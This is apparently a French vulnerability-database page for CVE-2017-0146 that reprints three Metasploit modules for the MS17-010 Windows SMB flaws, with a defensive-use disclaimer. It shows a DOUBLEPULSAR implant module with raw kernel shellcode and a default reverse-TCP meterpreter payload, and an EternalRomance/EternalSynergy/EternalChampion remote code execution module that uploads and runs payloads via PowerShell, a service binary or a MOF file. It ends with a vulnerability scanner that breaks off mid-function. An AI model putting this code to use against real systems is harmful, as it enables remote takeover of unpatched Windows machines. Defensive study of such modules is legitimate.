Aller au contenu
Appaloosa Scout
Sélection de la langue
fr en

Exploit matérialisé

CVE-2017-0146

CRITICAL KEV

4 exploit(s) public(s) pour cette CVE, 3 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
ExploitDB remote windows Vérifié
Source

DOUBLEPULSAR - Payload Execution and Neutralization (Metasploit)

Par Metasploit

Comment tester cet exploit

Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.

ruby 47456.rb

Code rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = GreatRanking

  include Msf::Exploit::Remote::SMB::Client

  MAX_SHELLCODE_SIZE = 4096

  def initialize(info = {})
    super(update_info(info,
      'Name'             => 'DOUBLEPULSAR Payload Execution and Neutralization',
      'Description'      => %q{
        This module executes a Metasploit payload against the Equation Group's
        DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.

        While this module primarily performs code execution against the implant,
        the "Neutralize implant" target allows you to disable the implant.
      },
      'Author'           => [
        'Equation Group', # DOUBLEPULSAR implant
        'Shadow Brokers', # Equation Group dump
        'zerosum0x0',     # DOPU analysis and detection
        'Luke Jennings',  # DOPU analysis and detection
        'wvu',            # Metasploit module and arch detection
        'Jacob Robles'    # Metasploit module and RCE help
      ],
      'References'       => [
        ['MSB', 'MS17-010'],
        ['CVE', '2017-0143'],
        ['CVE', '2017-0144'],
        ['CVE', '2017-0145'],
        ['CVE', '2017-0146'],
        ['CVE', '2017-0147'],
        ['CVE', '2017-0148'],
        ['URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'],
        ['URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/'],
        ['URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/'],
        ['URL', 'https://github.com/countercept/doublepulsar-detection-script'],
        ['URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor'],
        ['URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1']
      ],
      'DisclosureDate'   => '2017-04-14',
      'License'          => MSF_LICENSE,
      'Platform'         => 'win',
      'Arch'             => ARCH_X64,
      'Privileged'       => true,
      'Payload'          => {
        'Space'          => MAX_SHELLCODE_SIZE - kernel_shellcode_size,
        'DisableNops'    => true
      },
      'Targets'          => [
        ['Execute payload',    {}],
        ['Neutralize implant', {}]
      ],
      'DefaultTarget'    => 0,
      'DefaultOptions'   => {
        'EXITFUNC'       => 'thread',
        'PAYLOAD'        => 'windows/x64/meterpreter/reverse_tcp'
      },
      'Notes'            => {
        'AKA'            => ['DOUBLEPULSAR'],
        'RelatedModules' => [
          'auxiliary/scanner/smb/smb_ms17_010',
          'exploit/windows/smb/ms17_010_eternalblue'
        ],
        'Stability'      => [CRASH_SAFE],
        'Reliability'    => [REPEATABLE_SESSION]
      }
    ))

    register_advanced_options([
      OptBool.new('DefangedMode',  [true, 'Run in defanged mode', true]),
      OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])
    ])
  end

  OPCODES = {
    ping: 0x23,
    exec: 0xc8,
    kill: 0x77
  }

  STATUS_CODES = {
    not_detected:   0x00,
    success:        0x10,
    invalid_params: 0x20,
    alloc_failure:  0x30
  }

  def calculate_doublepulsar_status(m1, m2)
    STATUS_CODES.key(m2.to_i - m1.to_i)
  end

  # algorithm to calculate the XOR Key for DoublePulsar knocks
  def calculate_doublepulsar_xor_key(s)
    x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
    x & 0xffffffff  # this line was added just to truncate to 32 bits
  end

  # The arch is adjacent to the XOR key in the SMB signature
  def calculate_doublepulsar_arch(s)
    s == 0 ? ARCH_X86 : ARCH_X64
  end

  def generate_doublepulsar_timeout(op)
    k = SecureRandom.random_bytes(4).unpack('V').first
    0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00
  end

  def generate_doublepulsar_param(op, body)
    case OPCODES.key(op)
    when :ping, :kill
      "\x00" * 12
    when :exec
      Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*'))
    end
  end

  def check
    ipc_share = "\\\\#{rhost}\\IPC$"

    @tree_id = do_smb_setup_tree(ipc_share)
    vprint_good("Connected to #{ipc_share} with TID = #{@tree_id}")
    vprint_status("Target OS is #{smb_peer_os}")

    vprint_status('Sending ping to DOUBLEPULSAR')
    code, signature1, signature2 = do_smb_doublepulsar_pkt
    msg = 'Host is likely INFECTED with DoublePulsar!'

    case calculate_doublepulsar_status(@multiplex_id, code)
    when :success
      @xor_key = calculate_doublepulsar_xor_key(signature1)
      @arch = calculate_doublepulsar_arch(signature2)

      arch_str =
        case @arch
        when ARCH_X86
          'x86 (32-bit)'
        when ARCH_X64
          'x64 (64-bit)'
        end

      vprint_good("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}")
      CheckCode::Vulnerable
    when :not_detected
      vprint_error('DOUBLEPULSAR not detected or disabled')
      CheckCode::Safe
    else
      vprint_error('An unknown error occurred')
      CheckCode::Unknown
    end
  end

  def exploit
    if datastore['DefangedMode']
      warning = <<~EOF


        Are you SURE you want to execute code against a nation-state implant?
        You MAY contaminate forensic evidence if there is an investigation.

        Disable the DefangedMode option if you have authorization to proceed.
      EOF

      fail_with(Failure::BadConfig, warning)
    end

    # No ForceExploit because @tree_id and @xor_key are required
    unless check == CheckCode::Vulnerable
      fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')
    end

    case target.name
    when 'Execute payload'
      unless @xor_key
        fail_with(Failure::NotFound, 'XOR key not found')
      end

      if @arch == ARCH_X86
        fail_with(Failure::NoTarget, 'x86 is not a supported target')
      end

      print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
      shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
      shellcode << Rex::Text.rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
      vprint_status("Total shellcode length: #{shellcode.length} bytes")

      print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}")
      xor_shellcode = Rex::Text.xor([@xor_key].pack('V'), shellcode)

      print_status('Sending shellcode to DOUBLEPULSAR')
      code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:exec], xor_shellcode)
    when 'Neutralize implant'
      return neutralize_implant
    end

    case calculate_doublepulsar_status(@multiplex_id, code)
    when :success
      print_good('Payload execution successful')
    when :invalid_params
      fail_with(Failure::BadConfig, 'Invalid parameters were specified')
    when :alloc_failure
      fail_with(Failure::PayloadFailed, 'An allocation failure occurred')
    else
      fail_with(Failure::Unknown, 'An unknown error occurred')
    end
  ensure
    disconnect
  end

  def neutralize_implant
    print_status('Neutralizing DOUBLEPULSAR')
    code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:kill])

    case calculate_doublepulsar_status(@multiplex_id, code)
    when :success
      print_good('Implant neutralization successful')
    else
      fail_with(Failure::Unknown, 'An unknown error occurred')
    end
  end

  def do_smb_setup_tree(ipc_share)
    connect

    # logon as user \
    simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])

    # connect to IPC$
    simple.connect(ipc_share)

    # return tree
    simple.shares[ipc_share]
  end

  def do_smb_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)
    # make doublepulsar knock
    pkt = make_smb_trans2_doublepulsar(opcode, body)

    sock.put(pkt)
    bytes = sock.get_once

    return unless bytes

    # convert packet to response struct
    pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct
    pkt.from_s(bytes[4..-1])

    return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2']
  end

  def make_smb_trans2_doublepulsar(opcode, body)
    setup_count = 1
    setup_data = [0x000e].pack('v')

    param = generate_doublepulsar_param(opcode, body)
    data = param + body.to_s

    pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct
    simple.client.smb_defaults(pkt['Payload']['SMB'])

    base_offset = pkt.to_s.length + (setup_count * 2) - 4
    param_offset = base_offset
    data_offset = param_offset + param.length

    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
    pkt['Payload']['SMB'].v['Flags1'] = 0x18
    pkt['Payload']['SMB'].v['Flags2'] = 0xc007

    @multiplex_id = rand(0xffff)

    pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
    pkt['Payload']['SMB'].v['TreeID'] = @tree_id
    pkt['Payload']['SMB'].v['MultiplexID'] = @multiplex_id

    pkt['Payload'].v['ParamCountTotal'] = param.length
    pkt['Payload'].v['DataCountTotal'] = body.to_s.length
    pkt['Payload'].v['ParamCountMax'] = 1
    pkt['Payload'].v['DataCountMax'] = 0
    pkt['Payload'].v['ParamCount'] = param.length
    pkt['Payload'].v['ParamOffset'] = param_offset
    pkt['Payload'].v['DataCount'] = body.to_s.length
    pkt['Payload'].v['DataOffset'] = data_offset
    pkt['Payload'].v['SetupCount'] = setup_count
    pkt['Payload'].v['SetupData'] = setup_data
    pkt['Payload'].v['Timeout'] = generate_doublepulsar_timeout(opcode)
    pkt['Payload'].v['Payload'] = data

    pkt.to_s
  end

  # ring3 = user mode encoded payload
  # proc_name = process to inject APC into
  def make_kernel_user_payload(ring3, proc_name)
    sc = make_kernel_shellcode(proc_name)

    sc << [ring3.length].pack("S<")
    sc << ring3

    sc
  end

  def generate_process_hash(process)
    # x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
    proc_hash = 0
    process << "\x00"

    process.each_byte do |c|
      proc_hash  = ror(proc_hash, 13)
      proc_hash += c
    end

    [proc_hash].pack('l<')
  end

  def ror(dword, bits)
    (dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
  end

  def make_kernel_shellcode(proc_name)
    # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
    # Length: 780 bytes
    "\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" +
    "\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" +
    "\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" +
    "\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" +
    "\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" +
    "\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" +
    "\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" +
    "\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" +
    "\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" +
    "\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" +
    "\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" +
    "\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" +
    "\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +
    generate_process_hash(proc_name.upcase) +
    "\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" +
    "\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" +
    "\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" +
    "\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" +
    "\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" +
    "\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" +
    "\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" +
    "\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" +
    "\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" +
    "\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" +
    "\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" +
    "\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" +
    "\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" +
    "\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" +
    "\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" +
    "\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" +
    "\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" +
    "\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" +
    "\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" +
    "\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" +
    "\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" +
    "\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" +
    "\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" +
    "\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" +
    "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" +
    "\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" +
    "\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" +
    "\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" +
    "\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" +
    "\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" +
    "\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" +
    "\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" +
    "\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" +
    "\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" +
    "\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" +
    "\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"
  end

  def kernel_shellcode_size
    make_kernel_shellcode('').length
  end

end
ExploitDB remote windows Vérifié
Source

Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'EternalChampion' SMB Remote Code Execution (Metasploit) (MS17-010)

Par Metasploit

Comment tester cet exploit

Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.

ruby 43970.rb

Code rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# Windows XP systems that are not part of a domain default to treating all
# network logons as if they were Guest. This prevents SMB relay attacks from
# gaining administrative access to these systems. This setting can be found
# under:
#
#  Local Security Settings >
#   Local Policies >
#    Security Options >
#     Network Access: Sharing and security model for local accounts

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010
  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution',
      'Description'    => %q{
        This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where
        primitive. This will then be used to overwrite the connection session information with as an
        Administrator session. From there, the normal psexec payload code execution is done.

        Exploits a type confusion between Transaction and WriteAndX requests and a race condition in
        Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy
        exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a
        named pipe.
      },
      'Author'         =>
        [
          'sleepya',          # zzz_exploit idea and offsets
          'zerosum0x0',
          'Shadow Brokers',
          'Equation Group'
        ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'WfsDelay'     => 10,
          'EXITFUNC' => 'thread'
        },
      'References'     =>
        [
          [ 'AKA', 'ETERNALSYNERGY' ],
          [ 'AKA', 'ETERNALROMANCE' ],
          [ 'AKA', 'ETERNALCHAMPION' ],
          [ 'AKA', 'ETERNALBLUE'],  # does not use any CVE from Blue, but Search should show this, it is preferred
          [ 'MSB', 'MS17-010' ],
          [ 'CVE', '2017-0143'], # EternalRomance/EternalSynergy - Type confusion between WriteAndX and Transaction requests
          [ 'CVE', '2017-0146'], # EternalChampion/EternalSynergy - Race condition with Transaction requests
          [ 'CVE', '2017-0147'], # for EternalRomance reference
          [ 'URL', 'https://github.com/worawit/MS17-010' ],
          [ 'URL', 'https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf' ],
          [ 'URL', 'https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/' ],
        ],
      'Payload'        =>
        {
          'Space'        => 3072,
          'DisableNops'  => true
        },
      'Platform'       => 'win',
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'PowerShell', { } ],
          [ 'Native upload', { } ],
          [ 'MOF upload', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Mar 14 2017'
    ))

    register_options(
      [
        OptString.new('SHARE',     [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])
      ])

    register_advanced_options(
      [
        OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
        OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
        OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
        OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil])
      ])
  end

  def exploit
    begin
      eternal_pwn(datastore['RHOST'])
      smb_pwn()

    rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e
      print_error("#{e.message}")
    rescue ::Errno::ECONNRESET,
           ::Rex::Proto::SMB::Exceptions::LoginError,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionRefused  => e
      print_error("#{e.class}: #{e.message}")
    rescue => error
      print_error(error.class.to_s)
      print_error(error.message)
      print_error(error.backtrace.join("\n"))
    ensure
      eternal_cleanup()       # restore session
    end
  end

  def smb_pwn()
    case target.name
    when 'Automatic'
      if powershell_installed?
        print_status('Selecting PowerShell target')
        powershell
      else
        print_status('Selecting native target')
        native_upload
      end
    when 'PowerShell'
      powershell
    when 'Native upload'
      native_upload
    when 'MOF upload'
      mof_upload
    end

    handler
  end


  # TODO: Again, shamelessly copypasta from the psexec exploit module. Needs to
  #       be moved into a mixin

  def powershell_installed?
    share = "\\\\#{datastore['RHOST']}\\#{datastore['SHARE']}"

    case datastore['SHARE'].upcase
    when 'ADMIN$'
      path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe'
    when 'C$'
      path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
    else
      path = datastore['PSH_PATH']
    end

    simple.connect(share)

    vprint_status("Checking for #{path}")

    if smb_file_exist?(path)
      vprint_status('PowerShell found')
      psh = true
    else
      vprint_status('PowerShell not found')
      psh = false
    end

    simple.disconnect(share)

    psh
  end

  def powershell
    ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)

    if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
      print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
    end

    # Execute the powershell command
    print_status("Executing the payload...")
    begin
      psexec(command)
    rescue StandardError => exec_command_error
      fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
    end
  end

  def native_upload
    filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
    servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
    serviceencoder = datastore['SERVICE_STUB_ENCODER'] || ''

    # Upload the shellcode to a file
    print_status("Uploading payload...")
    smbshare = datastore['SHARE']
    fileprefix = ""
    # if SHARE = Users/sasha/ or something like this
    if smbshare =~ /.[\\\/]/
      subfolder = true
      smbshare = datastore['SHARE'].dup
      smbshare = smbshare.gsub(/^[\\\/]/,"")
      folder_list = smbshare.split(/[\\\/]/)
      smbshare = folder_list[0]
      fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
      simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
      fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct')
    else
      subfolder = false
      simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
      fd = smb_open("\\#{filename}", 'rwct')
    end
    exe = ''
    opts = { :servicename => servicename, :serviceencoder => serviceencoder}
    begin
      exe = generate_payload_exe_service(opts)

      fd << exe
    ensure
      fd.close
    end

    if subfolder
      print_status("Created \\#{fileprefix}\\#{filename}...")
    else
      print_status("Created \\#{filename}...")
    end

    # Disconnect from the share
    simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}")

    # define the file location
    if datastore['SHARE'] == 'ADMIN$'
      file_location = "%SYSTEMROOT%\\#{filename}"
    elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/
      file_location = datastore['SHARE'].slice(0,1) +  ":\\#{filename}"
    else
      file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
    end

    psexec(file_location, false)

    unless datastore['SERVICE_PERSIST']
      print_status("Deleting \\#{filename}...")
      #This is not really useful but will prevent double \\ on the wire :)
      if datastore['SHARE'] =~ /.[\\\/]/
        simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
        begin
          simple.delete("\\#{fileprefix}\\#{filename}")
        rescue XCEPT::ErrorCode => e
          print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
        end
      else
        simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
        begin
          simple.delete("\\#{filename}")
        rescue XCEPT::ErrorCode => e
          print_error("Delete of \\#{filename} failed: #{e.message}")
        end
      end
    end
  end

  def mof_upload
    share = "\\\\#{datastore['RHOST']}\\ADMIN$"
    filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"

    # payload as exe
    print_status("Trying wbemexec...")
    print_status("Uploading Payload...")
    if datastore['SHARE'] != 'ADMIN$'
      print_error('Wbem will only work with ADMIN$ share')
      return
    end
    simple.connect(share)
    exe = generate_payload_exe
    fd = smb_open("\\system32\\#{filename}", 'rwct')
    fd << exe
    fd.close
    print_status("Created %SystemRoot%\\system32\\#{filename}")

    # mof to cause execution of above
    mofname = rand_text_alphanumeric(14) + ".MOF"
    mof = generate_mof(mofname, filename)
    print_status("Uploading MOF...")
    fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
    fd << mof
    fd.close
    print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")

    # Disconnect from the ADMIN$
    simple.disconnect(share)
  end

  def report_auth
    service_data = {
        address: ::Rex::Socket.getaddress(datastore['RHOST'],true),
        port: datastore['RPORT'],
        service_name: 'smb',
        protocol: 'tcp',
        workspace_id: myworkspace_id
    }

    credential_data = {
        origin_type: :service,
        module_fullname: self.fullname,
        private_data: datastore['SMBPass'],
        username: datastore['SMBUser'].downcase
    }

    if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'
      credential_data.merge!({
        realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
        realm_value: datastore['SMBDomain']
       })
    end

    if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
      credential_data.merge!({:private_type => :ntlm_hash})
    else
      credential_data.merge!({:private_type => :password})
    end

    credential_data.merge!(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
        access_level: 'Admin',
        core: credential_core,
        last_attempted_at: DateTime.now,
        status: Metasploit::Model::Login::Status::SUCCESSFUL
    }

    login_data.merge!(service_data)
    create_credential_login(login_data)
  end
end
ExploitDB dos windows Vérifié
Source

Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010) (Metasploit)

Par Sean Dillon

Comment tester cet exploit

Déni de service : envoie une entrée malformée pour crasher le service. À tester en VM isolée, l'effet est destructif.

ruby 41891.rb

Code rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# auxiliary/scanner/smb/smb_ms_17_010

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::SMB::Client
  include Msf::Exploit::Remote::SMB::Client::Authenticated

  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS17-010 SMB RCE Detection',
      'Description'    => %q{
        Uses information disclosure to determine if MS17-010 has been patched or not.
        Specifically, it connects to the IPC$ tree and attempts a transaction on FID 0.
        If the status returned is "STATUS_INSUFF_SERVER_RESOURCES", the machine does
        not have the MS17-010 patch.

        This module does not require valid SMB credentials in default server
        configurations. It can log on as the user "\" and connect to IPC$.
      },
      'Author'         => [ 'Sean Dillon <sean.dillon@risksense.com>' ],
      'References'     =>
        [
          [ 'CVE', '2017-0143'],
          [ 'CVE', '2017-0144'],
          [ 'CVE', '2017-0145'],
          [ 'CVE', '2017-0146'],
          [ 'CVE', '2017-0147'],
          [ 'CVE', '2017-0148'],
          [ 'MSB', 'MS17-010'],
          [ 'URL', 'https://technet.microsoft.com/en-us/library/security/ms17-010.aspx']
        ],
      'License'        => MSF_LICENSE
    ))
  end

  def run_host(ip)
    begin
      status = do_smb_probe(ip)

      if status == "STATUS_INSUFF_SERVER_RESOURCES"
        print_warning("Host is likely VULNERABLE to MS17-010!")
        report_vuln(
          host: ip,
          name: self.name,
          refs: self.references,
          info: 'STATUS_INSUFF_SERVER_RESOURCES for FID 0 against IPC$'
        )
      elsif status == "STATUS_ACCESS_DENIED" or status == "STATUS_INVALID_HANDLE"
        # STATUS_ACCESS_DENIED (Windows 10) and STATUS_INVALID_HANDLE (others)
        print_good("Host does NOT appear vulnerable.")
      else
        print_bad("Unable to properly detect if host is vulnerable.")
      end

    rescue ::Interrupt
      print_status("Exiting on interrupt.")
      raise $!
    rescue ::Rex::Proto::SMB::Exceptions::LoginError
      print_error("An SMB Login Error occurred while connecting to the IPC$ tree.")
    rescue ::Exception => e
      vprint_error("#{e.class}: #{e.message}")
    ensure
      disconnect
    end
  end

  def do_smb_probe(ip)
    connect

    # logon as user \
    simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])

    # connect to IPC$
    ipc_share = "\\\\#{ip}\\IPC$"
    simple.connect(ipc_share)
    tree_id = simple.shares[ipc_share]

    print_status("Connected to #{ipc_share} with TID = #{tree_id}")

    # request transaction with fid = 0
    pkt = make_smb_trans_ms17_010(tree_id)
    sock.put(pkt)
    bytes = sock.get_once

    # convert packet to response struct
    pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct
    pkt.from_s(bytes[4..-1])

    # convert error code to string
    code = pkt['SMB'].v['ErrorClass']
    smberr = Rex::Proto::SMB::Exceptions::ErrorCode.new
    status = smberr.get_error(code)

    print_status("Received #{status} with FID = 0")
    status
  end

  def make_smb_trans_ms17_010(tree_id)
    # make a raw transaction packet
    pkt = Rex::Proto::SMB::Constants::SMB_TRANS_PKT.make_struct
    simple.client.smb_defaults(pkt['Payload']['SMB'])

    # opcode 0x23 = PeekNamedPipe, fid = 0
    setup = "\x23\x00\x00\x00"
    setup_count = 2             # 2 words
    trans = "\\PIPE\\\x00"

    # calculate offsets to the SetupData payload
    base_offset = pkt.to_s.length + (setup.length) - 4
    param_offset = base_offset + trans.length
    data_offset = param_offset # + 0

    # packet baselines
